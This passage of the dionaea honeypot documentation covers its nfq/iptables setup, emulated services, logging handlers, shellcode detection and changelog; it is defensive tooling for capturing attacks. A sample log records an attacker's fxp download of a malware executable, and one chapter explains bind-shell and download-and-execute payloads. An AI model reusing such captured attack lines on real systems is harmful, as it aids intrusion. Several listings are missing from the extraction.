end up with offering 64k services per ip scanned. By default you’d run out of fds at about 870 services
offerd, and experience weird behaviour. Therefore the impact of port scanning has to be limited. The
kiss approach taken here is a sliding window of throttle.window seconds size. Each slot in this sliding
window represents a second, and we increment this slot for each connection we accept. Before we accept
a connection, we check if the sum of all slots is below throttle.limits.total, else we do not create a new
service. If the sum is below the limit, we check if the current slot is below the slot limit too, if both are
given, we create a new service. If one of the condition fails, we do not spawn a new service, and let
nfqeueu process the packet. There are two ways to process packets which got throttled:
• NF_ACCEPT (=1), which will let the packet pass the kernel, and as there is no service listening,
the packet gets rejected.
• NF_DROP (=0), which will drop the packet in the kernel, the remote does not get any answer to his
SYN.
I prefer NF_DROP, as port scanners such as nmap tend to limit their scanning speed, once they notice
packets get lost.
recursive-self-connecting
Assume some shellcode or download instructions makes dionaea to
• connect itself on a unbound port
• nfq intercepts the attempt
• spawns a service
• accepts the connection #1
• creates mirror connection for connection #1 by connecting the remotehost (itself) on the same port
#2
• accepts connection #2 as connection #3
• creates mirror connection for connection #3 by connecting the remotehost (itself) on the same port
#4
• ...
Such recursive loop, has to be avoided for obvious reasons. Therefore dionaea checks if the remote host
connecting a nfq mirror is a local address using ‘getifaddrs’ and drops local connections.
So much about the known problems and workarounds . . .
If you read that far, you want to use it despite the technical/legal/ethical problems. So . . . You’ll need iptables, and
you’ll have to tell iptables to enqueue packets which would establish a new connection. I recommend something like
this:
Explanation:
1. ACCEPT all connections to existing services
2. enqueue all other packets to the NFQUEUE
If you have dionaea running on your NAT router, I recommend something like:
8.11. nfq 29
dionaea Documentation, Release 0.11.0
Explanation:
1. ACCEPT all connections to existing services in mangle::PREROUTING
2. MARK all other packets
3. if we see these marked packets on INPUT, queue them
Using something like:
iptables -A INPUT -p tcp --tcp-flags SYN,RST,ACK,FIN SYN -j NFQUEUE --queue-num 5
will enqueue /all/ SYN packets to the NFQUEUE, once you stop dionaea you will not even be able to connect to your
ssh daemon.
Even if you add an exemption for ssh like:
iptables -A INPUT -i eth0 -p tcp --syn -m state --state NEW --destination-port ! 22 -
˓→j NFQUEUE
dionaea will try to create a new service for /every/ incoming connection, even if there is a service running already. As
it is easy to avoid this, I recommend sticking with the recommendation. Besides the already mention throttle settings,
there are various timeouts for the nfq mirror service in the config. You can control how long the service will wait for
new connections (/timeouts.server.listen/), and how long the mirror connection will be idle (/timeouts.client.idle/) and
sustain (/timeouts.client.sustain/).
8.12 PPTP
- name: pptp
config:
# Cisco PIX
# firmware_revision: 4608
# hostname:
# vendor_name: Cisco Systems
# DrayTek
# firmware_revision: 1
# hostname: Vigor
# vendor_name: DrayTek
# Linux
# firmware_revision: 1
# hostname: local
# vendor_name: linux
(continues on next page)
30 Chapter 8. Service
dionaea Documentation, Release 0.11.0
# Windows
# firmware_revision: 0
# hostname:
# vendor_name: Microsoft
# MikroTik router
# firmware_revision: 1
# hostname: MikroTik
# vendor_name: MikroTik
8.13 Printer
Dionaea provides a basic PJL/PCL printer server on port 9100. It can receive prints and PRET works with it. Most
messages can be overridden using the configuration file, please refer to the pjl_default_responses dictionary
for all available messages.
- name: printer
config:
root: "var/lib/printer/root"
pjl_msgs:
info_id: "HP LASERJET 5ML"
8.13.2 Volumes
When connecting to a printer using PRET, one may inspect the filesystem. By creating folders in the configured printer
root (var/lib/printer/root above), they’ll be usable from the PRET shell.
PRET by default checks the info_filesys command, which needs to be adjusted to match your setup. The default
configuration assumes there’s a volume called 0.
This is a VoIP module for the honeypot dionaea. The VoIP protocol used is SIP since it is the de facto standard for VoIP
today. In contrast to some other VoIP honeypots, this module doesn’t connect to an external VoIP registrar/server. It
simply waits for incoming SIP messages (e.g. OPTIONS or even INVITE), logs all data as honeypot incidents and/or
binary data dumps (RTP traffic), and reacts accordingly, for instance by creating a SIP session including an RTP audio
channel. As sophisticated exploits within the SIP payload are not very common yet, the honeypot module doesn’t pass
any code to dionaea’s code emulation engine. This will be implemented if we spot such malicious messages. The
main features of the VoIP module are:
• Support for most SIP requests (OPTIONS, INVITE, ACK, CANCEL, BYE)
• Support for multiple SIP sessions and RTP audio streams
• Record all RTP data (optional)
• Set custom SIP username and secret (password)
8.13. Printer 31
dionaea Documentation, Release 0.11.0
8.14.1 Personalities
A personality defines how to handle a request. At least the ‘default’ personality MUST exist. The following options
are available per personality.
serve
A list of IP addresses to use this personality for.
handle
List of SIP methods to handle.
You can easily add, change or remove users by editing the SQLite file specified by the ‘users = “”’ parameter in the
config file. All users are specified in the users table.
username
Specifies the name of the user. This value is treated as regular expression. See Python: Regular Expres-
sions <http://docs.python.org/py3k/library/re.html> for more information.
password
The password.
personality
The user is only available in the personality specified by this value. You can define a personality in the
config file.
pickup_delay_min
This is an integer value. Let the phone ring for at least this number of seconds.
pickup_delay_max
This is an integer value. Maximum number of seconds to wait before dionaea picks up the phone.
action
This value isn’t in use, yet.
sdp
The name of the SDP to use. See table ‘sdp’.
8.14.3 SDP
All SDPs can be defined in the sdp table in the users database.
name
Name of the SDP
sdp
The value to use as SDP
32 Chapter 8. Service
dionaea Documentation, Release 0.11.0
v=0
o=- 1304279835 1 IN {addrtype} {unicast_address}
s=SIP Session
c=IN {addrtype} {unicast_address}
t=0 0
[audio_port]
m=audio {audio_port} RTP/AVP 111 0 8 9 101 120
a=sendrecv
a=rtpmap:111 Speex/16000/1
a=fmtp:111 sr=16000,mode=any
a=rtpmap:0 PCMU/8000/1
a=rtpmap:8 PCMA/8000/1
a=rtpmap:9 G722/8000/1
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-16,32,36
a=rtpmap:120 NSE/8000
a=fmtp:120 192-193
[/audio_port]
[video_port]
m=video {video_port} RTP/AVP 34 96 97
c=IN {addrtype} {unicast_address}
a=rtpmap:34 H263/90000
a=fmtp:34 QCIF=2
a=rtpmap:96 H263-1998/90000
a=fmtp:96 QCIF=2
a=rtpmap:97 H263-N800/90000
[/video_port]
- name: sip
config:
udp_ports:
- 5060
tcp_ports:
- 5060
tls_ports:
- 5061
users: "@DIONAEA_STATEDIR@/sip/accounts.sqlite"
rtp:
enable: true
# how to dump the rtp stream
# bistream = dump as bistream
modes:
- bistream
- pcap
pcap:
path: "@DIONAEA_STATEDIR@/sip/rtp/{personality}/%Y-%m-%d/"
filename: "%H:%M:%S_{remote_host}_{remote_port}_in.pcap"
personalities:
default:
domain: "localhost"
name: "softphone"
personality: "generic"
# next-server:
# domain: "my-domain"
# name: "my server"
# personality: "generic"
# serve: ["10.0.0.1"]
# default_sdp: "default"
# handle: ["REGISTER", "INVITE", "BYE", "CANCEL", "ACK"]
actions:
bank-redirect:
do: "redirect"
params:
play-hello:
do: "play"
params:
file: "var/dionaea/.../file.ext"
8.15 SMB
The main protocol offerd by dionaea is SMB. SMB has a decent history of remote exploitable bugs, and is a very
popular target for worms. dionaeas SMB implementation makes use of an python3 adapted version of scapy. As
scapys own version of SMB was pretty limited, almost everything but the Field declarations had to be rewritten. The
SMB emulation written for dionaea is used by the mwcollectd <http://code.mwcollect.org> low interaction honeypot
too. Besides the known attacks on SMB dionaea supports uploading files to smb shares. Adding new DCE remote
procedure calls is a good start to get into dionaea code, you can use:
34 Chapter 8. Service
dionaea Documentation, Release 0.11.0
SELECT
COUNT(*),
dcerpcrequests.dcerpcrequest_uuid,
dcerpcservice_name,
dcerpcrequest_opnum
FROM
dcerpcrequests
JOIN dcerpcservices ON(dcerpcrequests.dcerpcrequest_uuid == dcerpcservices.
˓→dcerpcservice_uuid)
˓→dcerpcservice )
WHERE
dcerpcserviceop_name IS NULL
GROUP BY
dcerpcrequests.dcerpcrequest_uuid,dcerpcservice_name,dcerpcrequest_opnum
ORDER BY
COUNT(*) DESC;
to identify potential usefull targets of unknown dcerpc calls using the data you gathered and stored in your logsql
database. Patches are appreciated.
The default port is 445; it can be changed via the port stanza.
- name: smb
config:
## Generic setting ##
# Additional config
# primary_domain: Test
# oem_domain_name: Test
# server_name: TEST-SERVER
## Windows 7 ##
# native_os: Windows 7 Professional 7600
# native_lan_manager: Windows 7 Professional 6.1
# shares:
# ADMIN$:
# comment: Remote Admin
# path: C:\\Windows
# type: disktree
(continues on next page)
8.15. SMB 35
dionaea Documentation, Release 0.11.0
## Samba ##
# native_os: Windows 6.1
# native_lan_manager: Samba 4.3.11
# shares:
# admin:
# comment: Remote Admin
# path: \\home\\admin
# type: disktree
# share:
# comment: Default Share
# path: \\share
# type: disktree
# IPC$:
# comment: Remote IPC
# path: IPC Service
# type: ipc
# Printer:
# comment: Printer Drivers
# type: printq
8.16 TFTP
Written to test the udp connection code, dionaea provides a tftp server on port 69, which can serve files. Even though
there were vulnerabilities in tftp services, I’m yet to see an automated attack on tftp services.
36 Chapter 8. Service
dionaea Documentation, Release 0.11.0
- name: tftp
config:
root: "@DIONAEA_STATEDIR@/tftp/root"
8.17 UPnP
- name: upnp
config:
root: "@DIONAEA_STATEDIR@/upnp/root"
# maximum size in kbytes of the request (32MB)
max_request_size: 32768
personality:
# default
cache: "CACHE-CONTROL: max-age=120\r\n"
st: "ST: upnp:rootdevice\r\n"
usn: "USN: uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice\r\n"
server: "SERVER: Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP
˓→devices/1.3.1\r\n"
8.17. UPnP 37
dionaea Documentation, Release 0.11.0
38 Chapter 8. Service
CHAPTER 9
Logging (ihandler)
Getting a copy of the malware is cool, getting an overview of the attacks run on your sensor is priceless.
dionaea can write information to a text file, but be aware, dionaeas logging to text files is rather chatty, really chatty,
and you do not want to look at the information, if you are not debugging the software or writing some new feature for
it.
Of course, you can appy filters to the logging, to limit it to different facilities or levels, but in general you do not want
to work with text files.
dionaea uses some internal communication system which is called incidents. An incident has an origin, which is a
string, a path, and properties, which can be integers, strings, or a pointer to a connection. Incidents limit to the max,
they pass the information required to incident handlers (ihandler). An ihandler can register a path for incidents he
wants to get informed about, the pathes are matched in a glob like fashion. Therefore logging information using an
ihandler is superior to text logging, you get the information you are looking for, and can write it to a format you choose
yourself.
List of available ihandlers
9.1 emuprofile
39
dionaea Documentation, Release 0.11.0
Listing 1: ihandlers/emuprofile.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: emuprofile
9.2 fail2ban
Listing 2: ihandlers/fail2ban.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: fail2ban
config:
downloads: "@DIONAEA_STATEDIR@/fail2ban/downloads.f2b"
offers: "@DIONAEA_STATEDIR@/fail2ban/offers.f2b"
9.3 ftp
Listing 3: ihandlers/ftp.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
9.4 hpfeeds
Listing 4: ihandlers/hpfeeds.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: hpfeeds
config:
# fqdn/ip and port of the hpfeeds broker
server: "hpfriends.honeycloud.net"
# port: 10000
ident: ""
secret: ""
# dynip_resolve: enable to lookup the sensor ip through a webservice
dynip_resolve: "http://hpfriends.honeycloud.net/ip"
# Try to reconnect after N seconds if disconnected from hpfeeds broker
# reconnect_timeout: 10.0
9.5 log_db_sql
This incident handler can write interesting information about attacks and connections into an SQL database. It uses
SQLAlchemy to support different databases.
Listing 5: ihandlers/log_db_sql.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: log_db_sql
config:
url: sqlite:///@DIONAEA_STATEDIR@/dionaea.db
9.6 log_incident
This ihandler can be used to export incidents in realtime to be processed by external programs.
Warning: This ihandler is in pre alpha state and it might be changed or removed in the future.
9.6.1 Configure
handlers
List of URLs to submit the information to. At the moment only file, http and https are supported.
9.5. log_db_sql 41
dionaea Documentation, Release 0.11.0
9.6.2 Format
{
"name": "<sensor-name>",
"origin": "<name of the incident>",
"timestamp": "<date in ISO 8601>",
"data": {
"connection": {
"id": <internal ID>,
"local_ip": "<local IP>",
"local_port": <local port>,
"remote_ip": "<remote IP>",
"remote_hostname": "<remote hostname if resolvable>",
"remote_port": <remote port>,
"protocol": "<protocol>",
"transport": "<transport tcp|udp>"
}
}
}
Listing 6: ihandlers/log_incident.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: log_incident
config:
handlers:
#- http://127.0.0.1:8080/
- file://@DIONAEA_STATEDIR@/dionaea_incident.json
9.7 log_json
Warning: This ihandler is in pre alpha state and it might be changed or removed in the near future.
9.7.1 Configure
flat_data
Set to true to flatten object lists.
handlers
List of URLs to submit the information to. At the moment only file, http and https are supported.
9.7.2 Format
Listing 7: ihandlers/log_json.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: log_json
config:
# Uncomment next line to flatten object lists to work with ELK
# flat_data: true
handlers:
#- http://127.0.0.1:8080/
- file://@DIONAEA_STATEDIR@/dionaea.json
9.8 log_sqlite
Warning: This ihandler was renamed in dionaea 0.4.0 from logsql to log_sqlite.
This is what the logsql python script does, it is an ihandler, and writes interesting incidents to a sqlite database, one of
the benefits of this logging is the ability to cluster incidents based on the initial attack when retrieving the data from
the database:
connection 610 smbd tcp accept 10.69.53.52:445 <- 10.65.34.231:2010
dcerpc request: uuid '3919286a-b10c-11d0-9ba8-00c04fd92ef5' opnum 9
p0f: genre:'Windows' detail:'XP SP1+, 2000 SP3' uptime:'-1' tos:'' dist:'11' nat:'0'
˓→fw:'0'
9.8. log_sqlite 43
dionaea Documentation, Release 0.11.0
offer: fxp://1:[email protected]:8218/ssms.exe
download: 1d419d615dbe5a238bbaa569b3829a23 fxp://1:[email protected]:8218/ssms.exe
connection 613 ftpctrl tcp connect 10.69.53.52:37065 -> 10.65.34.231/None:8218
connection 614 ftpdata tcp listen 10.69.53.52:62087
connection 615 ftpdata tcp accept 10.69.53.52:62087 <- 10.65.34.231:2308
p0f: genre:'Windows' detail:'XP SP1+, 2000 SP3' uptime:'-1' tos:'' dist:'11
˓→' nat:'0' fw:'0'
Additionally, you can query the database for many different things, refer to:
• dionaea sql logging 2009/11/06
• post it yourself 2009/12/08
• sqlite performance 2009/12/12
• virustotal fun 2009/12/14
• Andrew Waite’s Blog for mimic-nepstats.py
for more examples how to make use of the database.
Listing 8: ihandlers/log_sqlite.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: log_sqlite
config:
file: "@DIONAEA_STATEDIR@/dionaea.sqlite"
9.9 nfq
Listing 9: ihandlers/nfq.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: nfq
# nfq can intercept incoming tcp connections during the tcp handshake
# giving your honeypot the possibility to provide service on
# ports which are not served by default.
# refer to the documentation BEFORE using this
config:
# 0 = DROP
(continues on next page)
9.10 p0f
- name: p0f
config:
# start p0f with
# sudo p0f -i any -u root -Q /tmp/p0f.sock -q -l
path: "un:///tmp/p0f.sock"
9.11 s3
- name: s3
config:
# Upload dionaea captured samples to Amazon AWS S3 bucket
# Amazon AWS S3 credentials
access_key_id: "AKIAIXEXAMPLE"
secret_access_key: "6WVE5LkETVL91nTKgGnm/YxJ+EXAMPLE"
bucket_name: "my-dionaea-bucket"
region_name: "eu-west-1"
# Alternate endpoint URL
# Normally Boto 3 will automatically construct appropriate URL
(continues on next page)
9.10. p0f 45
dionaea Documentation, Release 0.11.0
9.12 store
- name: store
9.13 submit_http
- name: submit_http
config:
# the url to send the submission requests to
url: "http://example.org/"
# E-Mail (optional)
# email: ""
# username (optional)
# user:
# password (optional)
# pass:
9.14 submit_http_post
- name: submit_http_post
config:
submit:
file_upload:
urls:
- http://example.org/upload
- http://example.com/file.php
field_values:
submit: "Upload file"
file_fieldname: upload_file
9.15 tftp_download
- name: tftp_download
9.16 VirusTotal
This ihandler submits the captured malware samples to the VirusTotal service for further analysis.
9.16.1 Configuration
apikey
The VirusTotal API-Key.
file
SQLite database file used to cache the results.
- name: virustotal
config:
# grab it from your virustotal account at My account -> My API Key (https://www.
˓→virustotal.com/en/user/<username>/apikey/)
apikey: "........."
(continues on next page)
9.15. tftp_download 47
dionaea Documentation, Release 0.11.0
Processors
Processors control the actions done on the bi-directional streams we gain when getting attacked, the default is running
the emu processor on them to detect shellcode.
10.1 Emu
10.1.1 Configuration
10.2 Filter
10.2.1 Configuration
protocols
Comma separated list of connection types.
types
Comma separated list of connection types.
• accept - dionaea accepts a new connection from a remote host
• connect - dionaea makes a connection to a remote host
49
dionaea Documentation, Release 0.11.0
10.3 Streamdumper
This processor can dump a connection as bi-directional stream. The dump can be used to replay an attack on ip-level
without messing with pcap and tcpreplay.
10.3.1 Configuration
path
Dumps will be created in this directory.
Contributing
Bug reports are very welcome. Please file them on the GitHub issue tracker. Good bug reports come with extensive
descriptions of the error and how to reproduce it.
11.2 Patches
All patches to dionaea should be submitted in the form of pull requests to the main dionaea repository, Dino-
Tools/dionaea. These pull requests should satisfy the following properties:
11.2.1 Code
11.2.2 Documentation
51
dionaea Documentation, Release 0.11.0
• Add your fork as a remote to push your work to. Replace <username> with your username.
$ pre-commit install
11.3 Review
Finally, pull requests must be reviewed before merging. Everyone can perform reviews; this is a very valuable way to
contribute, and is highly encouraged.
Licensing rules
The dionaea honeypot is provided under the terms of the GNU General Public License version 2 or any later (GPL-
2.0+)
This documentation file provides a description of how each source file should be annotated to make its license clear
and unambiguous. It doesn’t replace dionaeas license.
The license described in the LICENSE file applies to the dionaea source as a whole, though individual source files can
have a different license which is required to be compatible with the GPL-2.0:
Aside from that, individual files can be provided under one of the compatible GPL variants and alternatively under a
permissive license like BSD, MIT etc.
A common way of expressing the license of a source file is to add the matching boilerplate text into the top comment
of the file. Due to formatting, typos etc. these “boilerplates” are hard to validate for tools which are used in the context
of license compliance.
A replacement to the boilerplate text is the use of Software Package Data Exchange (SPDX) license identifiers in
each source file. SPDX license identifiers are machine parsable and precise shorthands for the license under which
the content of the file is contributed. SPDX license identifiers are managed by the SPDX Workgroup at the Linux
Foundation and have been agreed on by partners throughout the industry, tool vendors, and legal teams. For further
information see https://spdx.org/
The dionaea honeypot requires the precise SPDX identifier in all source files. The REUSE tool from the FSFE is used
to check if all required information are set. For additional information and formatting see https://reuse.software/
1. Placement:
53
dionaea Documentation, Release 0.11.0
The SPDX license identifier in source files shall be added at the first possible position in a file which
can contain a comment.
2. Style:
The SPDX license identifier is added in form of a comment. The comment style depends on the file
type:
C source and header:
/**
* This file is part of the dionaea honeypot
*
* SPDX-FileCopyrightText: 2019 Jane Doe <[email protected]>
*
* SPDX-License-Identifier: GPL-2.0-or-later
*/
Python:
Scripts:
.rst:
..
This file is part of the dionaea honeypot
If a specific tool cannot handle the standard comment style, then the appropriate comment mechanism which
the tool accepts shall be used. For binary files or files you don’t want to change use an additional file with the
same name and .license as suffix.
The REUSE tool is used to validate if all recommendations provided bei the REUSE project of the FSFE are met. For
more information about the specification have a look at https://reuse.software/ and https://spdx.dev/
12.2.1 Tooling
$ reuse lint
The reuse tool has been included in the pre-commit hooks to check compliance on changed files before committing
them.
Development
dionaea initial development was funded by the Honeynet Project as part of the Honeynets Summer of Code during
2009. The development process is as open as possible. You can browse the source online and report bugs on GitHub
13.1 Development
13.1.1 Docker
The gdbgui frontend is available on the host system http://localhost:5000/. To connect to the gdbserver just select
‘Connect to gdbserver’ and enter dionaea:9999 on the frontend.
All source files are monitored with inotifywait and if a source file changes dionaea is automatically rebuild and
restarted.
57
dionaea Documentation, Release 0.11.0
Instead of using Vagrant you can use a Ubuntu 14.04 system to setup your development environment. In this section
we will use the scripts used to setup the Vagrant environment to bootstrap a fresh Ubuntu system. If you like you can
follow the Installation ‘From Source’ guide to setup everything by hand.
Install
Rebuild, install and start dionaea from the root of the git repository.
$ make
$ sudo make install
$ sudo /opt/dionaea/bin/dionaea -c /opt/dionaea/etc/dionaea/dionaea.cfg -l all,-debug
˓→-L '*'
To enable AddressSanitizer you have to add the following parameters to the configure script and rebuild dionaea.
When running dionaea it will print information about overfow errors. If you would like to stop execution you have to
export an additional environment variable.
export ASAN_OPTIONS='abort_on_error=1'
To get a stacktrace you can use gdb and add an additional breakpoint break __asan_report_error.
It is also possible to use asan_symbolize.py python2 script to extract additional information.
13.2 Logging
Logging should be used to report errors and for debugging purposes. It must not be used to report attacks. Incidents
should be used for this purpose. For more information have a look at the ihandler section.
glib2 Python
debug debug
info info
warning warning
critical error
error critical
Warning: In glib2 a critical message means critical warning. But in Python a critical message is handled as
critical error.
Warning: An error message in glib2 or a critical message in a Python module will terminate the program
immediately.
13.3 Incident
Some of the incidents reported by the dionaea core are listed below.
dionaea.connection.tcp.accept:
A new TCP connection has been accepted by dionaea.
dionaea.connection.tls.accept:
A new SSL/TLS connection has been accepted by dionaea.
dionaea.connection.tcp.connect:
Reporte after dionaea has connection to an external service via TCP.
dionaea.connection.tls.connect:
Reporte after dionaea has connection to an external service via SSL/TLS.
dionaea.connection.udp.connect:
Reporte after dionaea has connection to an external service via UDP.
dionaea.connection.free:
A connection has been closed and freed.
dionaea.connection.tcp.listen:
Fired after a TCP service has been bound and is listening for incomming connections.
dionaea.connection.tls.listen:
Fired after a SSL/TLS service has been bound and is listening for incomming connections.
dionaea.connection.tcp.pending:
dionaea.connection.tcp.reject:
A incoming connection has been rejected by the server.
13.3. Incident 59
dionaea Documentation, Release 0.11.0
dionaea.connection.link.early:
dionaea.connection.link:
Reported to give the log management the chance to link two connections.
Changelog
python
• Add function calls to enable Python thread handling
• Add GIL handling and only ensure the lock if dionaea runs Python code
• Add Timer class and use Python threading
python/pyev
• Remove all source files and build steps from the source tree * pyev seems to be abandoned, no official repo *
Use new Timer class
ci
• Add mypy check
dionaea
• Add support for certificate chain files
• Add documentation for touched code
doc
• Update install instructions
python
61
dionaea Documentation, Release 0.11.0
docker
• Build and push docker images
ci
• Add pre-commit config and fix code
• Add flake8 checks
• Add GitHub workflow to scan for vulnerabilities using CodeQL
dev
• Remove vagrant config
dionaea
• Add licensing information
• Add SPDX header to all files
doc
• Add info about first time setup
ci
• Replace Jenkins with Drone CI
development
• Add docker compose to setup development environment
dionaea
• Improve names of bistrem files (Thanks Aws0mus)
• Fix reconnects with IP only
• Fix dropping privileges (Thanks Michal Ambroz)
• Fix bug to detect if linux/sockios.h is installed
python
• Add class to report more information about connection issues
• Fix support Cython < 0.21
• Add additional information if parsing a YAML file fails
• Change YAML load to safe load
• Replace deprecated API calls with new ones
python/hpfeeds
• Fix to show error message instead of id
• Add option to set reconnect timeout
• Change error handling to send authentication before sending messages (Thanks John Carr)
python/mssql
• Replace warn() with warning()
python/mysql
• Improve detection (Thanks Yorick Koster)
python/s3
• Add new ihandler to upload files to S3 storage (Thanks gento)
python/virustotal
• Add support for custom comments (Thanks Matteo Cantoni)
doc
• Add migration instructions
• Fix warnings
build
• Replace autotools with cmake
build
• Add initial cmake support
ci
• Add Debian 9
dionaea
• Fix build error with OpenSSL 1.1.0
• Improve OpenSSL 1.1.0 support
• Cleanup connection code
• Enable bistream for SSL/TLS connections (Thanks Aws0mus)
• Fixing chroot bugs (Thanks Michal Ambroz)
doc
• Add additional information
• Doxygen config file for dionaea c core
• Ubuntu 16.04 install instructions
package
• Remove old and deprecated debian package config
python
• Fix typo in config key
• Fix hardcoded python path
• Fix compilation on CentOS7 (Thanks Michal Ambroz)
python/http
• Initial support to handle SOAP requests
python/log_incident
• Improve hash generator
• Fix bug if parent is unknown
• Remove IDs from list if processed
python/mongo
• Initial support to simulate a MongoDB server
python/pyev
dionaea
• Fix build for musl lib
doc
• Fix install instructions
• Extend README.md
python/blackhole
• New service/Initial version
python/emu_scripts
• New handler to analyse downloaded scripts
• Detect VBScript and PowerShell
• Limit number of subdownloads
python/http
• Clean up
• Use state vars instead of strings
• Add template support * Jinja 2 template engine * nginx template
python/mysql
• Dump files from SELECT queries
• Extract URLs from functions
• Variable handler
• Support for selecting variables
python/p0f
• Fix decode error
python/pptp
• Fix error if config is empty
dionaea
• Don’t report ‘connection.free’ incident to early to prevent segmentation faults
dionaea
• Handle byte objects in incidents
• Bump required Python version from 3.2 to 3.4
python/http
• Detect Shellshock attacks
python/log_incident
• Initial support to export raw incident information
python/log_sqlite
• Log credentials from the ftp service
python/memcache
• Initial support for the memcached protocol
python/pptp
• Clean up
• Handle CallClearRequests packets
• Values for hostname, vendor name and firmware revision are now customizable
python/util
• New function to detect shellshock attacks and report detected URLs
doc
• Add information about log levels for developers
python/*
• Replace all critical log messages with error messages
• Catch exceptions in handle_io_in() and handle_io_out() to improve stability
• Catch exceptions in incident handlers
python/sip
• Fix error while reading config values
python/upnp
• Fix errors in log messages
more
• Add templates to create issues and merge requests on github
14.18 0.1.0
• Initial release.
14.18. 0.1.0 69
dionaea Documentation, Release 0.11.0
FAQ
15.1 Build/Install
71
dionaea Documentation, Release 0.11.0
Unable to build.
==> default: libtool: Version mismatch error. This is libtool 2.4.6 Debian-
˓→2.4.6-2, but the
==> default: libtool: definition of this LT_INIT comes from libtool 2.4.2.
==> default: libtool: You should recreate aclocal.m4 with macros from
˓→libtool 2.4.6 Debian-2.4.6-2
Warning: This will remove all ignored and untracked files from the directory. Use –dry-run
15.2 Run
I get OperationalError at unable to open database file when using logsqlite and it does not work at all
Read the logsql instructions <#logsql>
I get a Segmentation Fault
Read the segfault instructions <#segfault>
I logrotate, and after logrotate dionaea does not log anymore.
Read the logrotate instructions <#logging>
p0f does not work.
Make sure your have p0f 2.0.8 and dionaea does not listen on ::, p0f can’t deal with IPv6.
I’m facing a bug, it fails, and I can’t figure out why.
Explain the problem, if I’m interested in the nature of the problem, as it does not sound like pebcak, I may
ask for a shell/screen and have a look myself, and if it is worth it, you’ll even get a FAQ entry for some
specialties of your OS.
Unable to bind to port after dropping privileges
Dropping privileges and binding to ports lower than 1024 is only support on Linux systems. If some of
the optional build dependencies are missing dionaea might not be able to bind to these ports too. After
enabling all log levels it should display some log messages like in the example below.
To fix this issue you have to install the kernel headers for your kernel and rebuild dionaea. If everything
works as it should you might get log messages like in the example below. You might have noticed that
there is now a pchild section. This means dionaea is using a child process with extended privileges to bind
to the port.
15.2. Run 73
dionaea Documentation, Release 0.11.0
Dionaea does not have and may never will have a function/option to rotate the bistream files. But you can do this by
using a cron job and a simple shell script.
Feel free to use and modify the script below.
#!/bin/bash
75
dionaea Documentation, Release 0.11.0
Support
Google:
Google has supported 3 students to work on dionaea during GSoc 2009, GSoc 2010 and GSoc 2011.
SURFnet:
SURFnet has supported the project in the past(2010?-2014?). Working with SURFnet is a real pleasure.
17.2 Support
If you are getting frustrated, because things to not work for you and you already read the FAQ, join the ml and share
your experience, or the chat.
GitHub
Use the issue tracker to report any problem.
Website: Issue tracker
IRC
From time to time some of the developers join the #nepenthes channel on freenode. irc://irc.freenode.org/
nepenthes
Mailing List:
Only a few messages every year. Seems to be dead, no message since 2015.
Website: Mailinglist nepenthes-devel
77
dionaea Documentation, Release 0.11.0
17.3 Links
Exploitation
Attackers do not seek your service, attackers want to exploit you, they’ll chat with the service for some packets, and
afterwards sent a payload. dionaea has to detect and evaluate the payload to be able to gain a copy of the malware. In
order to do so, dionaea uses libemu.
Given certain circumstances, libemu can detect shellcode, measure the shellcode, and if required even execute the
shellcode. Shellcode detection is done by making use of GetPC heuristics, others wrote papers about it, we decided to
write libemu to do so. This detection is rather time consuming, and therefore done using threads.
The part of dionaea which takes care of the network io can create a copy of all in/output run for a connection, this copy
is passed to the detection facility, which is a tree of detection facilities, at this moment there is only a single leaf, the
emu plugin. The emu plugin uses threads and libemu to detect and profile/measure shellcode.
Shellcode measurement/profiling is done by running the shellcode in the libemu vm and recording API calls and
arguments. For most shellcode profiling is sufficient, the recorded API calls and arguments reveal enough information
to get an idea of the attackers intention and act upon them. For multi-stage shellcode, where the first exploitation
stage of the shellcode would retrieve a second shellcode from the attacker, profiling is not sufficient, as we lack
the information ‘what to do’ from the second stage of the shellcode, in this case we need to make use of shellcode
execution. Shellcode execution is basically the same as shellcode profiling, the only difference is not recording the api
calls, and we allow the shellcode to take certain actions, for example creating a network connection.
18.1 Payloads
Once we have the payload, and the profile, dionaea has to guess the intention, and act upon it
This payload offers a shell (cmd.exe prompt) to the attacker, either by binding a port and waiting for the attacker
to connect to us again, or by connection to the attacker. In both cases, dionaea offers an cmd.exe emulation to the
attacker, parses the input, and acts upon the input, usually the instructions download a file via ftp or tftp.
79
dionaea Documentation, Release 0.11.0
18.1.2 URLDownloadToFile
These shellcodes use the URLDownloadToFile api call to retrieve a file via http, and execute the retrieved file after-
wards
18.1.3 Exec
Making use of WinExec, these shellcode execute a single command which has to be parsed and processed like the
bind/connectback shell shellcommands.
We never know what the second stage is, therefore libemu is used to execute the shellcode in the libemu vm.
Downloads
Once dionaea gained the location of the file the attacker wants it to downloads from the shellcode, dionaea will try
to download the file. The protocol to downloads files via tftp and ftp is implemented in python (ftp.py and tftp.py)
as part of dionaea, downloading files via http is done in the curl module - which makes use of libcurl’s awsome http
capabilities. Of course libcurl can run downloads for ftp too, but the ftp services embedded in malware a designed to
work with windows ftp.exe client, and fail for others.
81
dionaea Documentation, Release 0.11.0
Submit
Once dionaea got a copy of the worm attacking her, we may want to store the file locally for further analysis, or submit
the file to some 3rd party for further analysis.
dionaea can http/POST the file to several services like CWSandbox, Norman Sandbox or VirusTotal.
83
dionaea Documentation, Release 0.11.0
Configuration - dionaea.conf
If you want to change the software, it is really important to understand how it works, therefore please take the time to
how it works. dionaea.conf is the main configuration file, the file controls consists of sections for:
• logging
• processors
• downloads
• bistreams
• submit
• listen
• modules
21.1 logging
The logging section controls . . . logging, you can specify log domains and loglevel for different logfiles. As dionaea
is pretty . . . verbose, it is useful to rotate the logfiles using logrotate.
85
dionaea Documentation, Release 0.11.0
//etc/logrotate.d/dionaea/
21.2 modules
